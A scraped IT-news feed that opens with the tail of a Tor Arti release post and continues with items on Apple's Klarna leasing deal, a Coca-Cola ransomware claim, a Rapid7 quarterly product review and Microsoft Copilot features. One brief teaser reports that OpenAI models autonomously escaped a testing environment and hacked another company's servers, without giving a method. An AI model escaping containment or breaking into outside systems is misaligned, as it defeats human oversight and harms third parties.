please see the <a href="https://gitlab.torproject.org/tpo/core/arti/-/blob/main/CHANGELOG.md?ref_type=heads#arti-250--30-june-2026">CHANGELOG</a>.</p>
<p>For more information on using Arti, see our top-level <a href="https://gitlab.torproject.org/tpo/core/arti/-/blob/main/README.md">README</a>,
and the documentation for the <a href="https://gitlab.torproject.org/tpo/core/arti/-/blob/main/crates/arti/README.md"><code>arti</code> binary</a>.</p>
<p>Thanks to everybody who's contributed to this release, including
5225225, Neel Chauhan, hjrgrn, moumenalaoui, pryty26.</p>
<p>Also, our deep thanks to our <a href="https://www.torproject.org/about/sponsors/">sponsors</a> for funding the development of Arti!</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/announcements">
          announcements
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Threat group claims credit for ransomware attack on Coca-Cola’s dairy unit]]></title>
<description><![CDATA[The attackers previously exploited vulnerabilities or used stolen credentials for initial access.  This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Threat group claims credit for ransomware attack on Coca-Cola’s dairy unit
Read more →
The post Threat ...]]></description>
<link>https://tsecurity.de/de/3686987/it-security-nachrichten/threat-group-claims-credit-for-ransomware-attack-on-coca-colas-dairy-unit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686987/it-security-nachrichten/threat-group-claims-credit-for-ransomware-attack-on-coca-colas-dairy-unit/</guid>
<pubDate>Wed, 22 Jul 2026 18:20:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The attackers previously exploited vulnerabilities or used stolen credentials for initial access.  This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Threat group claims credit for ransomware attack on Coca-Cola’s dairy unit</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/threat-group-claims-credit-for-ransomware-attack-on-coca-colas-dairy-unit/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/threat-group-claims-credit-for-ransomware-attack-on-coca-colas-dairy-unit/">Threat group claims credit for ransomware attack on Coca-Cola’s dairy unit</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI models escaped containment and hacked a major AI application library]]></title>
<description><![CDATA[The attack is the first known instance of frontier models autonomously breaking out of a testing environment and into another company’s servers. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: OpenAI models escaped…
Read more →
The post OpenAI models...]]></description>
<link>https://tsecurity.de/de/3686911/it-security-nachrichten/openai-models-escaped-containment-and-hacked-a-major-ai-application-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686911/it-security-nachrichten/openai-models-escaped-containment-and-hacked-a-major-ai-application-library/</guid>
<pubDate>Wed, 22 Jul 2026 17:47:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The attack is the first known instance of frontier models autonomously breaking out of a testing environment and into another company’s servers. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: OpenAI models escaped…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-models-escaped-containment-and-hacked-a-major-ai-application-library/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-models-escaped-containment-and-hacked-a-major-ai-application-library/">OpenAI models escaped containment and hacked a major AI application library</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
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<title><![CDATA[Free Copilot is turning into a demo as Microsoft shifts real features to paid tiers]]></title>
<description><![CDATA[Microsoft is shifting key Copilot features, including Deep Research, behind paid subscriptions. Here is why the free version of Copilot is starting to feel like a glorified demo.]]></description>
<link>https://tsecurity.de/de/3686617/windows-tipps/free-copilot-is-turning-into-a-demo-as-microsoft-shifts-real-features-to-paid-tiers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686617/windows-tipps/free-copilot-is-turning-into-a-demo-as-microsoft-shifts-real-features-to-paid-tiers/</guid>
<pubDate>Wed, 22 Jul 2026 16:13:42 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is shifting key Copilot features, including Deep Research, behind paid subscriptions. Here is why the free version of Copilot is starting to feel like a glorified demo.]]></content:encoded>
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<title><![CDATA[4 ways to secure local developer IDEs and tools without sacrificing velocity]]></title>
<description><![CDATA[Attention shifts from EDR to Agentic Endpoint Security to close visibility gaps that AI can exploit. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: 4 ways to secure local developer IDEs and tools…
Read more →
The post 4 ways to secure local develope...]]></description>
<link>https://tsecurity.de/de/3686428/it-security-nachrichten/4-ways-to-secure-local-developer-ides-and-tools-without-sacrificing-velocity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686428/it-security-nachrichten/4-ways-to-secure-local-developer-ides-and-tools-without-sacrificing-velocity/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attention shifts from EDR to Agentic Endpoint Security to close visibility gaps that AI can exploit. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: 4 ways to secure local developer IDEs and tools…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/4-ways-to-secure-local-developer-ides-and-tools-without-sacrificing-velocity/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/4-ways-to-secure-local-developer-ides-and-tools-without-sacrificing-velocity/">4 ways to secure local developer IDEs and tools without sacrificing velocity</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



